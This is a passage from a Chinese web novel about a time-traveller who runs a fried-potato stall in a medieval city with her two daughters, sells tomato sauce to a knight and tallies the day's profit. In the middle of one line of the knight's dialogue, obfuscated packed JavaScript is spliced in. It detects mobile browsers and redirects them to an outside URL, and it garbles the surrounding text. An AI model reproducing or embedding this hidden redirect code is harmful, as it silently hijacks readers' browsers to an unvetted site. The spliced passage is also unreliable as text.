“我赞同，我喜欢鼠尾草，薯条可以加鼠尾草吗？” 尤兰达一面手上不停，一面笑着点头，虚心接受大家的“反馈” 本地老外的口味果然更本土化一些，香料少了反而觉得不够味。 “请再给我两份，”人群里有人高高举起手，“我得带回去给我家的调皮鬼尝尝。” “我要三份，一份哪够塞牙缝。” “别挤别挤，我先来的……” 尤兰达笑的脸颊疼，短短一会儿工夫，已有二十多人下单，十以外的加法算得菲奥娜头大不已，渐渐招架不住。 约瓦尼见众人蜂拥，不知谁又撅了一下，直接把他整个人顶了出去。 他急得探着脖子喊：“嘿，伙计们，是我先下的单！拜托先做我的那份——” 尤兰达听见透着委屈的高呼，赶紧维持秩序，请那位付了1银币的大客户一旁稍待。 “十份薯饼可不少，放久了口感会差些。”她翻着油锅里的薯饼，耐心叮嘱，“客人若是一时吃不完，带回家放在陶锅上煎一煎，一定要干煎，逼出里面的水份，薯饼便和刚出锅一样酥脆了。” 尤兰达担心客人不知道怎么正确加热，弄巧成拙砸了小吃摊口碑，特意多嘱咐了几句，权当是挂上免责声明。 类似的提醒，她录制素材时总要反复强调，生怕粉丝灵机一动搞什么创新，再回头骂她配方不对。 谁知道，平平无奇的几句，像冷水泼进滚油，炸开锅一般。 “天呐，她竟然教我们该怎么让薯饼更好吃。” “善良的夫人，上帝一定会保佑你的。” “我们会照做的，夫人。” “我们也会保密的，不告诉别人。” 一道道直直投来的柔软目光里，盛着毫不作伪的感激与郑重，好像她教的是长生不老药的配方，就很夸张。 尤兰达张了张嘴，又默默闭上，决定就此打住。 再说下去，她怕这群本地老外要爱上自己，更怕嘴巴一秃噜，行会找上门。 免费传授平民烹饪技巧，会被行会以及同行当做“恶意竞争”“破坏秩序”“砸饭碗”。 万一不小心碰了行会的蛋糕，轻则警告罚款，重则驱逐出城，连辩解的机会都没有。 “知识免费”在当下可不是什么好事。最保险的做法，是把食谱和技巧当做筹码，拿去和修道院、行会、贵族做等价交易。 她摆摆手，玩笑回应：“别这么说，只是架锅生火，算不上什么技巧。” 摊子前的客人来来去去，一份份脆脆薯饼从油锅里捞出、包进叶片、递出。 待最后一份薯饼被小学徒高兴捧走，尤兰达抬头望了望天，竟然比预估的收摊时间提前了将近两个小时。 而此时，仍有不少食客循着空气中未散的油香寻来，探头张望。 尤兰达笑吟吟招呼大家明日赶早。 “嘿，夫人。”又有人唤她。 尤兰达习惯性地重复“收摊了”，一抬头，发现是隔壁摊位卖煮豆子的老头。 他站在两块摊位的交界线，一会挠挠头，一会搓搓胡子拉碴的下巴，腼腆询问。 “我是想问问……”他干咳一声，“明天你还会在这儿摆摊吗？” “会的，还在工匠街。至于位置……”尤兰达耸耸肩，递去一个“你懂的”眼神。 “当然当然，这儿可没有固定位置，谁先到谁占。”老头大约极少主动与人搭话，挤出的笑容干巴又僵硬，像是临时找人借来的，“我想说……你的薯条和薯饼，真不错。 它们招来了很多人，也给我的摊子添了不少人气，真希望明天还能和你挨着。” 尤兰达听明白了，老头想蹭客流呢。 “今天和你做邻居很愉快，”她客气回应，语气温和却并未给出任何保证，“希望明天我们还能遇上。” 老头点点头，不好意思地指了指她正收拾的油锅：“其实我也想尝尝来着。可你知道，我这头只有一双手，忙起来连口水都顾不上喝……”他顿了顿，“明天，明天应该有机会。” 尤兰达弯了弯眼睛：“欢迎。它们会让你满意的。” 彼此干巴巴地笑了两声，笨拙尴尬的社交总算画上了句号。 尤兰达转过身，被算数攻击一下午的菲奥娜，电量耗尽，两眼放空瘫坐。 她失笑，快速将锅碗瓢盆收整好，趁着时间早，去修道院街找西芙拉，一起回家。 正想着她呢，没一会儿，西芙拉的身影就左闪右避挤过人群奔来，挎在她胳膊上的藤篮沉甸甸。 “妈妈，修道院的队伍也太长了，我从没等过那么久……”西芙拉边走边抱怨，脸上全是排队排出来的怨气。 走近摊子前，西芙拉的声音戛然而止。 她愣愣地望着自家无人问津的摊子，扭头望了望隔壁煮豆子摊前依旧排着的长队，脸色肉眼可见地沉了下去。 “这些人……”西芙拉咬着嘴唇，俏脸忿忿不平，“都没有品味的吗？妈妈的薯条那么好吃。” 她转向尤兰达，刻意压低的嗓音依旧愤慨：“妈妈，你别难过。是他们不懂得欣赏。” 尤兰达一听就知道她误会了，想告诉她“其实我们提前卖完收摊了”—— “夫人！等等！请等一下。” 披着深色斗篷的身影从街角疾步奔来，气喘吁吁停在摊前，一把扶住车沿。 尤兰达记得他，出手阔绰的游侠骑士，一银币先生。 “幸好赶上了……你好，夫人，我要那种红色的番茄酱，还有吗？我愿意付钱。” 尤兰达愣了愣，怎么也没想到，这人是来买酱汁的。 卖番茄酱是她后期的打算，这会卖也不是不行，可她没来得及算成本。 尤兰达神色微顿，露出几分为难。 “先生明天再来吧，我们准备……” “只要酱汁，不要薯饼！”约瓦尼急切打断她，恳求道：“好心的夫人请帮帮我吧，多少钱都可以，一罐、不，半罐也行！” 他说着，低头又摸出一枚银币，拍在车沿，同时递来银链系着的带锁扣锡壶。 “两银币够吗？装满这一壶就好。 我知道这很冒昧，但、但我真的……太需要它了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17200992|197182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 尤兰达瞧了瞧巴掌长的壶身，满打满算能装300ml，换来的却是两枚银币！ 这还有什么好算的，亏不了一点。 尤兰达笑容灿烂：“好的客人，乐意为您效劳，欢迎下次光临。” 她唰一下抢过银币和锡壶，一勺勺酱汁灌进去。 西芙拉半张着嘴巴，有点看不懂眼前的状况。 菲欧娜听不得“付钱”几个字，早捂着耳朵背过身，装死。 约瓦尼接过沉甸甸的锡壶，长长舒出一口气。 总算……没有错过。 他取完长剑就去了附近的旅馆用餐，顺路采购面包，为接下来的行程做准备。 刚出炉的白面包与黑麦面包码在案上，热烘烘的麦香扑鼻而来。 待到真正入口，香气便像不曾出现过，表皮焦苦，内里寡淡，嚼久了腮帮子酸疼。 约瓦尼包起带走的部分，剩下两块切片面包配着稀薄的蔬菜糊糊吃。 吃过无数次的食物，毫无惊喜可言，也不指望它能带来什么变化，但除了过于熟悉产生的腻烦感，心头罕见萦绕着难以言喻的不满足。 缺了点什么。 约瓦尼没来由想起葡萄叶上的红色酱汁，遂打开锡碗。 他掰下一块面包，蘸着酱汁送入口中，嚼吧嚼吧，不抱什么期望的他，眼睛骤然放光。 面包还是那块面包，一如既往的粗糙硌牙，酸酸甜甜、咸鲜交织的番茄酱裹上舌尖，死气沉沉的面包仿佛注入了灵魂，一切都变得新奇。 约瓦尼不信邪，又掰了一块面包，又蘸了一坨酱汁。 这次，他百分百确信，是酱汁的功劳。 约瓦尼望着锡碗里浅浅一层的番茄酱，神色复杂。 如果没有尝过更好的，他可以心安理得地接受面包的无趣，但偏偏他尝到了。 番茄酱的出现为他绝望的味蕾打开了一扇门，迈出去的他再也回不去了。 没有番茄酱，接下来的路途，他该怎么熬？ 约瓦尼不想亏待自己的嘴巴，只沉吟片刻，匆匆收拾一番，牵马转身，折回工匠街。 他需要更多的番茄酱，多贵都愿意买。 幸好，他赶上了。 “多谢您，夫人。”约瓦尼将锡壶仔细收进鞍袋，翻身上马，“愿您的好生意长长久久。” 马蹄哒哒远去。 西芙拉目光追随着飘远，许久之后，她回神转头，如梦似幻。 “妈妈……刚才……我们……赚了两枚银币？” 尤兰达：“不，是三枚。” 赚300枚铜币不难，赚三枚银币可就不简单了。 “不对，不止三枚。” 菲奥娜幽幽插话，一脸生无可恋地站出来，怨气比周末加班的社畜都浓。 她提起鼓囊囊的羊皮包，往前一甩，“咚”一声砸在推车上。 西芙拉愣愣凑近，往羊皮包里一瞄—— “这、这都是今天的？” 上帝啊，小吃摊能赚这么多？ “当然没有这么少。” 菲欧娜抱起广口陶罐，“Duang”一下放在羊皮包旁边，震得罐子里的铜币哗啦啦响。 没见过世面的西芙拉发出“哇”的一声，见过世面的尤兰达也不淡定了。 17.第 17 章 习惯无现金支付后，尤兰达想不起来上次摸到大量钱币是哪年的事了。 猛地这么一瞧，确实很有视觉冲击力。 黑森王国的货币并不精巧，一枚铜币直径约40mm，厚度约3mm,像个厚圆牌。 别看大家叫它铜币，实际材质是银铜合金，比起纯铜钱币略重些。 这一罐子外加一包的铜币，抱在手里沉甸甸的没错，实际数额却没那么多。 尤兰达瞬间恢复淡定。 亲手递出去多少份薯条、薯饼，心里大致有数，可赚不到金山银山。 不过即便如此，这一堆铜币也称得上巨额现金了。 “明天该轮到西芙拉收钱了。”菲奥娜面无表情地捶着胳膊，语气充满了被榨干后的平静。 天知道她这一下午都经历了什么。 收钱的时候，菲奥娜每一根神经都绷得死紧，完全体会不到妈妈所说的“赚钱的快乐”。 总有几个算数不好的家伙少给铜币，一会儿少一枚，一会儿少两枚，稍不注意就糊弄过去。 菲奥娜自己的算数也没好到哪去，一份一份算勉强能应付，一次性买三份五份的，脑仁疼半天。 收钱的活简直不是人干的，她得撂挑子。 尤兰达想到老外们的数学水平，沉默了，确实强人所难。 “妈妈知道错了，明天摆摊的时候，我会把价格和份数报清楚，你们照着数钱就好。” 菲奥娜格外好哄，听到妈妈认错，怨气已经散了大半。 她别别扭扭说：“噢~我可没有怪你的意思。快点快点，我们回家吧，我太想知道今天到底赚了多少！” 生意不好的摊主尚且能抽出空来数数钱，算算今天亏了赚了、还差多少能回本，菲奥娜完全没那个时间。 菲奥娜固定好钱罐子，西芙拉把藤篮堆上车板，两人帮着扶住车沿，一起收摊回家。 路过小广场，尤兰达支付了星期六的摊位费，明天多做点，赶早出摊还能赚更多。 第九时祷（15:00）后，正是一天中最热闹的时间段。 下工的工匠、兜售的小贩、采买晚餐食材的主妇……潮水般涌上街头。 为了应对周五的斋戒日，人人手里都提着滴水的鲜鱼、满满一桶的猪血、风干的咸鱼，或是酸溜溜的腌菜。 混杂着鱼腥、汗酸和说不清的体味的空气，像一床厚重的湿被子，劈头盖脸地裹上来。 两个女孩不见异色，尤兰达快熬不住了。 摆摊时，排队的食客们身上就有各种体味，随着他们伸手递钱、抬胳膊接东西，忽浓忽淡的往她鼻子里钻。 好在面前有口油锅，油脂的焦香多少能挡一挡，勉强压住翻涌的胃。 此刻被人群裹挟着往前走，无处可逃。 她憋着一口气，闷头加快了脚步。 拐进贝壳街，人流量锐减，空气也清新了些许。 尤兰达呼呼喘气，缓过劲发现，贝壳街处处洋溢着过年一样的欢快气氛。 沿着街道望去，家家户户门口站着人，笑容满面的和相熟邻里唠嗑。 再定睛一看，他们手里除了各自采买的食材不同，人手一捆木柴和一条咸鱼，从绳结的样式和捆绑手法来看，无疑是从同一处购入。 修道院还有卖木柴的？ 尤兰达没往心里去，推着车继续往前走。 快到巷子口，她忽然想起两件事：家里的葡萄藤经不住薅了，得多买点叶子为明天出摊准备。木柴好像也不够烧了。 她叫住两个女儿，数出一把铜币塞进她们手里。 “小菲，你去卖叶子的摊子问问，买些葡萄叶或车前草回来。小西，你去柴火铺，买两捆松木两捆秸秆，让杂役送上门。” 两孩子接过铜币，手拉手笑哈哈跑出去，没跑多远赶紧停下，回过头不放心的说：“妈妈，你一定要等我们回来再数钱，好不好？” 尤兰达哭笑不得，连声答应，女孩们跑远，她重新推起车子往矮人巷走。 没到巷子口呢，她便远远听见妇人们大嗓门的叽叽喳喳，称颂什么巴顿老爷大方。 等她走近，说话声戛然而止，和谐欢乐气氛陡然消失。 夫人们互相交换眼色，一哄而散。 有的低头整理篮子里本就不乱的布料，有的侧过身假装和旁边人说话，还有几个干脆扭头走人。 好吧，她好像被排挤了。 尤兰达脚步未停，神色如常地推车往里走。 身后，窸窸窣窣的议论声飘过来，像是故意让她听见似的： “看见没？真的去摆摊了。” “这么早就收摊，肯定生意不好呗。” “她太懒惰了，才刚过第九时祷呢。” “没见过这样做生意的，要我看，这间铺子迟早赔出去。” “哈，活该。” 尤兰达听着，心里毫无波澜，甚至有点想笑。 新邻居们挺有正义感，还在替原身的前夫、继女抱不平呢。 “费尔南多夫人，请等等。” 正想着，不远处传来一声温和的招呼。 尤兰达循声望去，人群里走出一个身形魁梧的大叔，约莫四十岁上下。 他穿着一身体面的灰褐色亚麻衣袍，腰间挂着一只锡壶和一把木勺。 待他走近，看到他额角显眼的痦子，尤兰达想起这人是谁了——矮人巷的户长，沃格特先生。 户长，就是一条巷子的头头，处理邻里纠纷或颁布、解读政令。往上有街长，负责带领各巷的户长一起管理整条街，是街道的老大。 他们的存在类似于村长、里正、居委会。 原身持有矮人巷的房产，出租也好，变卖也罢，都绕不开户长，以前没少打交道。 如果尤兰达不是酒馆的所有者，在她搬进矮人巷的第一天，就该主动去找户长登记，办理一个相当于“临时居住证”的证明，方便户长街长管理、收税等。 “沃格特先生。”尤兰达停下脚步，微微颔首致意。 “听说你要搬来矮人巷，自己经营店铺了？”沃格特微笑着与她交谈，像是从没听过邻里的闲言碎语。 “是的，沃格特先生，您的消息一如既往的灵通。我需要补什么东西吗？” 沃格特压了压手，示意她别紧张，“放轻松孩子，没什么要补的。我只是来通知大家，星期天轮到矮人巷的居民去山上捡柴了，北1店至少派一个人参与。” 尤兰达一听是这事，果然放轻松了，她真担心冒出来什么莫名其妙的税收。 皇城居民除了花钱买木柴，平时只有出人头，参与社区组织的上山拾柴火活动，可以节省一些开支。 就像春耕时两个村子为抢水源大打出手，在这里，两个街区为抢木柴打群架的情况并不稀奇。 这可不是开玩笑，柴的重要性有时候比食物还高。 尤其进入冬季，人口密集的皇城难逃用柴紧张的状况，别说枯枝落叶了，当地人看见路边小草都想着薅回家晒干烧火。 甚至于有人专门蹲在街上，捡过路牛马拉的粪便，晒干了当柴火使。 温饱温饱，有柴才有温，先温才能顾上饱，柴米油盐，老祖宗把柴排在第一位，可见一斑。 基于柴的重要程度和大家的需求，捡柴火时难免发生争抢和冲突，市议厅按照就近原则划分区域，搞起轮流制。 贝壳街大小一共二十八条巷子，平均下来，大概一个半月一次上山机会，大家格外珍惜和重视。 这周末，恰好轮到矮人巷。 捡柴的山林不远，巷子走到底就是，步行最多40分钟。 难怪海伦夫人舍得让小红帽跑腿，给住在山里的外婆送食物，原来是真不远啊。 “当然，我们会去的，冬季漫长严寒，提前准备不会错。” “星期天第三时祷，去巷子尾集合，大家一起上山。”尤兰达应的爽快，沃格特却不放心，多嘱咐几句：“家里有板车的可以推上，有马车、牛车就更好了，从海螺巷绕过去，能省不少麻烦。” 山林外围早让人薅光，又有护林员看管，不准许随意砍伐活木，大家只能往森林深处钻。距离拉远了，如何运输木柴就成了大难题。 尤兰达认真记下。 “哦~瞧我的脑子，除了这件事……”沃格特交待事项，余光瞥见巷子深处推车走来的一伙人，一拍脑门：“巴顿老爷的小孙子被骑士学院选中，以后会成为一名真正的骑士。 你知道的，这是天大的荣耀，巴顿老爷要大宴宾客。不过今天是斋戒日，所以……” 尤兰达正在品味他的“所以”，沃格特越过她朝身后挥了挥手。 “嘿，伙计们，北1店的费尔南多夫人回来了，希望你们没忘了她。” 呼喊声落下，远处的热络回应随之响起，“哦，真是太巧了，我们正准备离开。” 说着，推车的伙计停下，旁边跟随的青年从车上提下一捆木柴，又提溜起一条咸鱼。 他们往这边张望了一眼，见尤兰达也推着满满的小车，调转脚步走向北1店的院门。 “费尔南多夫人，”青年回头问了一声，“东西放门边可以吗？” 尤兰达停顿了两秒，终于领会了户长的未尽之意。 木柴和咸鱼，来自贝壳街的巴顿老爷，是巴顿家为斋戒日破戒准备的“赎罪”。 巴顿老爷，贝壳街的大富豪，同时担任贝壳街的街长，是一位德高望重的老绅士。 按照当地习俗，斋戒日不许食荤、不许宴饮，如果不得不破规矩，主家需赎罪。 赎罪方式很简单，要么向教会捐赠一大笔金钱，要么向平民分发物资、钱财，自由选择。 做生意的人最在乎现金流，发钱是不可能发的，于是便有了今天这一出，一捆捆木柴、一条条咸鱼，送往贝壳街的每一户人家。 赎罪物资分发下去，等同于昭告贝壳街：巴顿家，出了个可以改变家族命运的骑士。 阶级分明的时代，骑士学院的门槛高得吓人，非贵族子弟不可入读。 一旦成为预备骑士，日后跟随领主、皇室成员征战，有大概率获封土地、爵位，再不济也能免除赋税。 对一心想要抬高家族地位的巴顿老爷而言，无异于久旱逢甘霖。 至于他用了什么手段、走了什么门路才把小孙子送进去，大家心照不宣的忽视了。 “奥——”尤兰达拖长音调，笑容发自肺腑：“仁慈的巴顿老爷，上帝会宽恕他的。也恭喜小巴顿先生，能去骑士学院读书真是前途无量，他会成为贝壳街的骄傲。” 这样的“赎罪”多来点吧，谁不喜欢免费东西呢。 你来我往笑言一番，目送沃格特和巴顿家的伙计们一同离开，尤兰达锁上院门，归置东西。 她答应要等女孩们一起数钱，便先料理那两条鳕鱼。 原身十指不沾阳春水，力气活更是没做过，前几天忙着搬家、打扫卫生，没歇够又忙着做生意，可把这具身体累坏了。 正好赶上斋戒日，大家吃的简单，尤兰达不想弄太复杂的折腾自己，早早决定晚饭吃香煎鳕鱼。 一条足够母女三人吃一顿饱饭，另一条她藏进空间存放。 趁两人没回来，她大胆使用“私货”，抽出厨房纸擦去鱼块表面水份。 这一步很重要，直接决定成败。水分多了鱼肉不紧实，松散易碎，煎出来的颜色也不好看，达不到外酥里嫩的效果。 去除多余水份后，鱼块撒上薄盐、橄榄油，捻两搓迷迭香，做几次马杀鸡，让香料深入肌理。 腌制的间隙，尤兰达搬来泥炉，从棚顶捡两块蜂窝煤。 天气晴好，微风干燥，煤球干得比预想的快，点燃后烟说大不大，说小不小，火势相当稳定，比木柴好掌控。 挺好，第一次手搓蜂窝煤就成功了。 锅热，放入黄油，待融化冒出细密小泡，放入葱姜蒜和几根迷迭香百里香，炸出香气再下鳕鱼块。 正是定型的关键时刻，可别急着翻动，耐心等待鱼皮蜷曲，边缘泛起金黄，再缓缓推动木铲，翻面。 鱼块切得厚实，两面全部煎熟花去十分钟。装盘后，撒点欧芹碎点缀，甩几道酱汁上去，有几分米其林的味。 第二、三块鳕鱼下锅，西芙拉和菲欧娜前后脚赶回来，身后跟着送木柴的杂役，小院一下子闹腾开。 西芙拉监督杂役堆放木柴，时不时指点一两句“往那边靠”“别挨着墙”。 菲奥娜直奔厨房，献宝似的举起一叠叠葡萄叶，眼睛一个劲地往锅里瞄。 “妈妈，今天又吃鳕鱼吗？” “小菲真棒，买的葡萄叶又大又绿。”表扬完孩子，她嗯了一声，“今晚吃香煎鳕鱼。” 菲欧娜习惯了老母亲时不时冒出来一些奇奇怪怪的说法，什么香煎、炒、烙，但依旧感到新奇。 以前斋戒日吃的鳕鱼，要么烤、要么煮，没有调味，没有油脂，干巴巴的，腥气特别重。 可眼前的鳕鱼完全不一样。 完整的造型，金黄的色泽，盘边摆了迷迭香，番茄酱画出好看的条形，漂亮得让人挪不开眼。 西芙拉安顿好木柴，刚踏进门怔 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对西芙拉、菲奥娜两个土著来说，鳕鱼和面包的搭配一如既往，并无稀奇。 真正让这顿晚饭与众不同的，是关于鳕鱼的独特做法。 因这一点点独特，令人叫苦不迭的斋戒日，似乎都变得值得期待了。 夕阳彻底转为橘红色时，家家户户升起炊烟，母女三人终于在餐桌边落座。 照例祷告，然后大快朵颐。 “妈（嚼嚼嚼），你做的鳕鱼是我吃过最好吃的鳕鱼（嚼嚼嚼）。” 菲奥娜又吃美了，脸颊鼓鼓囊囊，话都说不利索，非要抢着发表感言。 实在是香煎鳕鱼的味道远超它的卖相，也远超她对鳕鱼的认识。 鱼皮够酥，鱼肉够嫩，刀叉一拨，雪白肌理层层绽开，汁水微微渗出。 越吃，她越想不通，家里的厨娘到底用了什么巫术，才能让这么美味的鳕鱼做出难以下咽的口感。 西芙拉惦记着数钱，本想加快进食速度，叉子刚戳进鱼肉，就被白嫩的模样勾住了目光。 真漂亮啊，怎么会有看着就好吃的鳕鱼呢？ 尤兰达也小小惊讶了一会。 好新鲜的鳕鱼，肉质紧实弹牙，和她从冻货市场批发的食材，完全不在一个档次。 夕阳的余晖收尽，暮色笼罩小院。 母女三人风卷残云般扫光了盘中的鳕鱼和面包，连盘子底部的酱汁都用面包片擦得干干净净。 总要磨蹭一会儿的洗碗环节，今天被默契地抛在了脑后。 “快快快——” 菲奥娜第一个跳起来，清空桌面。 “到底赚了多少啊，它们可真重。” 西芙拉逞强，拒绝尤兰达的帮助，一手抱钱罐子，一手托住羊皮包，挨到桌边时，额角已经崩出青筋。 钱罐子与羊皮包并排砸上桌面，整张桌子猛地一震，连带着烛火都跟着晃了晃。 菲奥娜数了一下午的钱，看到铜币有点生理性反胃，退到墙边的扶手椅坐下，一副“你们数吧，我看着就好”的模样。 西芙拉迫不及待地伸出手，搭在了钱罐的边缘，跃跃欲试。 尤兰达望了望两人，吞下了称重数钱的提议，也没告诉她们家里有数钱专用的分拣盘。 “十个铜币为一组，一排只放十组。数清楚，别漏了。”尤兰达宣布。 话音落下，起居室里只剩铜币“哗啦啦”的碰撞，和西芙拉抑扬顿挫的计数。 “1、2、3……” 菲奥娜远远坐着，信誓旦旦地说“我就看看”。 看着看着，她的眉头皱了起来，嘴唇翕动，无声地跟着西芙拉的节奏数。 直到某一刻，她终于忍不住了，“噌”地起身，撸起袖子凑了过去。 “你数太慢了，我来帮你摆！” “我不用帮——你别抢我的铜币！” 两人闹了一会，才重新开始分拣计数。 烛火摇曳，映着两个女孩专注又兴奋的侧脸，和桌上排到第四排的铜币堆。 数钱数上瘾，肾上腺素飙升，小约翰来清粪，菲奥娜都不想去开门，西芙拉催了她几声才不舍离开。 等菲奥娜再回来，羊皮包软塌塌丢在椅子上，广口钱罐里空荡荡。 “数完了？今天赚了多少？”她急忙追问。 西芙拉烦躁摆手，“别说话，正在算呢，你吵到我——” “不用算了，1015，”尤兰达报出数字，两人抬头看来时，她补充：“铜币。” 加上三枚银币，按照当下的记账方式，今天营业额为13银15铜。 和她估算的差不太多。 西芙拉和菲奥娜齐齐倒吸气。 13银币15铜币……一天赚到的？ 惊愕过后，两人狂喜，随后震惊，“妈妈，你是怎么算出来的？” 她们抠破了脑袋，也没把那堆铜币算清楚，没等想出办法，尤兰达直接报答案，太快了！ 对上女孩们的星星眼，尤兰达让她们稍安勿躁，抽出莎草纸。 算完营业额，该算算成本和利润了，做完一天生意，总该知道是赚是亏，赚多少亏多少。 “去掉摊位费，以及土豆、番茄、小麦粉、芥末、猪油、木柴等等的市价费用，四舍五入按照390铜币的成本算，今天的净利润是……925铜币！” 酱汁并非一天用完，猪油并非只用一次，木柴和小麦粉的用量无法更精准，土豆、香草自家的，市场价偶有浮动。所有不确定的消耗，尤兰达全部取整数往多了算。 尽管如此，利润率也超60%，实属暴利。 再细算，对比薯条和薯饼的成本和毛利，虽然薯条单价更低，却是毛利更高、更赚钱。 这一点，也和尤兰达的预估差不太多。 要不人家金拱门能成为快餐巨头呢，薯条大有可赚。 第一天营业，尤兰达选择谨慎行事，生意却出乎意料的火爆，甩开同行们一大截。 参考今天的摆摊经验，第二天多备些薯条，换个大锅提前初炸，加快出餐速度，卖出的份量也会更多。 尤兰达念叨着如何改善，西芙拉和菲奥娜面面相觑，眼冒金星。 不是赚到钱就好了吗？ 什么毛利、什么成本、什么效率，好难啊，听不懂。 “……是很赚的意思？”她们问。 尤兰达重重点头，“很赚。” 第一天出摊，大获全胜！ 18.第 18 章 “我们、我们真的赚到钱了？！” 西芙拉和菲奥娜异常振奋，欢呼着拥抱。 两人扑闪着蓝宝石一样的大眼睛，满是不可置信。 从前她们一周有10银币的零花钱，可领钱时的快乐和此刻的快乐截然不同，好奇特。 尤兰达清了清嗓子，“当然，赚到13枚银币少不了你们的功劳。 小西，你一直帮妈妈洗土豆、捣土豆泥，妈妈都记得。 小菲，你帮妈妈看了大半天炉灶，还主动架木柴。 没有你们，今天可卖不出去这么多土豆。” 西芙拉和菲奥娜对视一眼，眼神里有什么东西悄悄点亮。 听起来……她们的贡献可不小呢。 两人骄傲挺胸，与有荣焉。 尤兰达话音一转，“每人100个铜币，这是你们应得的酬劳。” 酬劳，这个陌生词汇砸进耳朵里，两人俱是一震。 “别这么惊讶，宝贝们。”尤兰达微微一笑，“以后我们赚了更多钱，你们的酬劳只会更多。想想看，只要多坚持几天，你们就可以用自己赚来的钱，买下修道院街那些蕾丝蝴蝶结了。” 用自己赚的钱，买自己喜欢的蕾丝、蝴蝶结？ 这个念头一旦钻进脑海，就再也拔不出来了。 尤兰达没管她们此刻有多震撼，又拿来几堆钱币。 “10铜币奖励给小西，今天排一下午的队，买到了优质鳕鱼，辛苦你了。” 西芙拉双眼发直，愣愣地接过塞到手心的铜币。 菲奥娜眼巴巴地望过来，期待几乎溢出。 尤兰达不负她望，笑眯眯塞去三堆铜币，“今天下午全靠小菲收钱，这可不轻松。没有你，妈妈会忙疯掉。你值得30铜币的奖励。” 一下子分出去240铜币，尤兰达一点不心疼，带团队不能吝啬。 真金白银握在手里，让她们亲身的体会到辛劳换来的成果，比任何说教都有效果。 果然，分到铜币的两个小老外热泪盈眶，一左一右扑上来，亲吻她的脸颊。 这下，轮到尤兰达飘忽了。 左手莫妮卡贝鲁奇，右手奥黛丽赫本，还是金发碧眼版本，搁谁谁不迷糊啊。 这一晚，累极的女孩们沾枕即眠。 尤兰达强打精神，为“豆腐制作全过程”配上插图。 这事宜早不宜迟，早些送去修道院，早些换取便宜食材，早些赚钱筹备新店开业。 别问她为什么不直接用制作工艺换取金币，尤兰达也理不清当地人的逻辑。 除了雇佣、交易的场景，双方来往中，使用钱财支付被视为冒犯、划清界限，以及降低身份。 和贵族和富商阶级交换工艺技术，他们会用人脉、资源、生意渠道，或者土地使用权限做为置换。 而修道院，可能一封“朝圣推荐信”就打发了。 有神学包装，大家自然不能说什么，总有虔诚信徒稀罕推荐信。 尤兰达提出得到修道院的商业协助，比如优先采购或价格优惠，属于双方关系绑定的一种体现，以示她诚心与修道院交往，搁在当下是一种无可挑剔的行为。 如果她敢提出用金币买技术，相当于在说“我不想和你有牵扯，两清吧”，十分无礼了，以后和修道院再无深交可能。 尤兰达想了想，街边摊贩毫不在意客户维护，未必和当地人的这一社交逻辑无关。 一直忙到晚上九点多，尤兰达哈欠连连，才整理好羊皮纸上床睡觉。 翌日清晨，精力旺盛的孩子们率先活动起来。 洗漱过后，她们自觉换上灰扑扑的粗麻衣裙，围着水井石台洗土豆，洗完两人有商有量的端起土豆去厨房煮。 尤兰达倚在门边双臂环胸，瞅两人急头白脸的争论如何生火，欣慰的笑了。 “小西，小菲，今天不煮土豆。” “啊？今天……不摆摊吗？” 埋头研究燧石的两人顶着两张大花脸回头看她，菲奥娜抿着嘴，西芙拉的声音里透出一丝失落。 噢不，她们刚体会到赚钱的乐趣呢。 尤兰达摇摇头：“只是不做脆脆薯饼。” 薯饼固然好吃，但制作起来太耗成本了，既然摆摊做生意，降本增效的事必须重视起来。 尤兰达过惯了便捷的现代生活，思维一时没能转换过来。昨天实地体验过后，仔细算了笔账，发现自己的眼光放在当下，多少有些盲点。 她把成本、工时、售价、食客反馈来回算了几遍，怎么算10铜币的薯饼都没赚头，费时费力又费工。 尤兰达一向果断，干脆放弃薯饼，只卖薯条已经够赚的了。 闻言，西芙拉和菲奥娜又扬起笑容。 她们丢下燧石，仰着脸问：“妈妈，那我们要做什么？” “当然是先吃饭了，宝贝们。” 尤兰达尝试过入乡随俗一天只吃两顿，随了一天发现不现实。 睡懒觉起得晚就算了，她们一大早爬起，从7、8点左右饿着肚子干活，下午徒步一个来回摆摊赚钱，不多吃点有营养的食物补充，身体遭不住。 虽然这被当地人视为“不道德”，可道德哪有身体重要。 尤兰达不想再来一次低血糖晕倒穿越的戏码了。 两个孩子正处在贪嘴的年纪，没吃过好的还能凑合忍忍，反正那些食物好吃不到哪去。吃到好的后，根本忍不了一点。 她们念念有词的向上帝忏悔片刻，然后，毫无负担的点菜： “妈，吃番茄风味珍珠浓汤吧。” “我想吃玉米烙。” 尤兰达抽了抽嘴角，她抬手驳回，“今天吃蔬菜粥。” 谁家做了什么饭、几点做的饭，邻里邻居的，伸出头一闻就都知道了。 尤兰达可以无视斋戒日的规矩和生活习俗，却不能明目张胆的反着来。 蔬菜粥不惹眼、气味淡，猫进厨房里煮好，门一开味道很快散没了。 有过一天摆摊经验，尤兰达对时间的掌控和规划清晰太多，一点不见昨日的慌乱。 架起陶锅生火，油热放入大蒜、洋葱块和防风草翻炒，炒香后，放入切丁的胡萝卜、扁豆断生。 然后加水，一直炖到豆子变软，再撒上卷心菜丝和番茄丁，洒一搓盐和迷迭香调味。 搁楞搁楞搅匀，蔬菜粥做好了。 出锅前，就着蒸腾热气，切三片白面包放在锅边烘一烘，很快，麦香混着蔬菜的甜润，飘满整间厨房。 三人饭量一般，做多了不好存放，做少了吃不饱，尤兰达想露一手都找不到机会。 好在俩孩子不挑嘴，蔬菜粥也吃得香喷喷，唏哩呼噜喝了个一干二净。 饭后，西芙拉菲奥娜负责洗碗，尤兰达爬上爬下，把晒足了阳光的煤球收进仓库摞起，留出十几块塞上推车。 柴火麻烦些，她还不能熟练操控，光是调大小火就够狼狈了，有蜂窝煤在，今天应该可以轻松一些。 第一批蜂窝煤入库，该着手准备下一批，煤炭和草屑份量足够，只需去溪边提黏土。 考虑到下午要出摊，暂且把这活留到晚上。 “笃笃笃——” 菜刀起落，节奏均匀，一堆切好的土豆条顺着菜刀一撇，整整齐齐撇进盘子里。 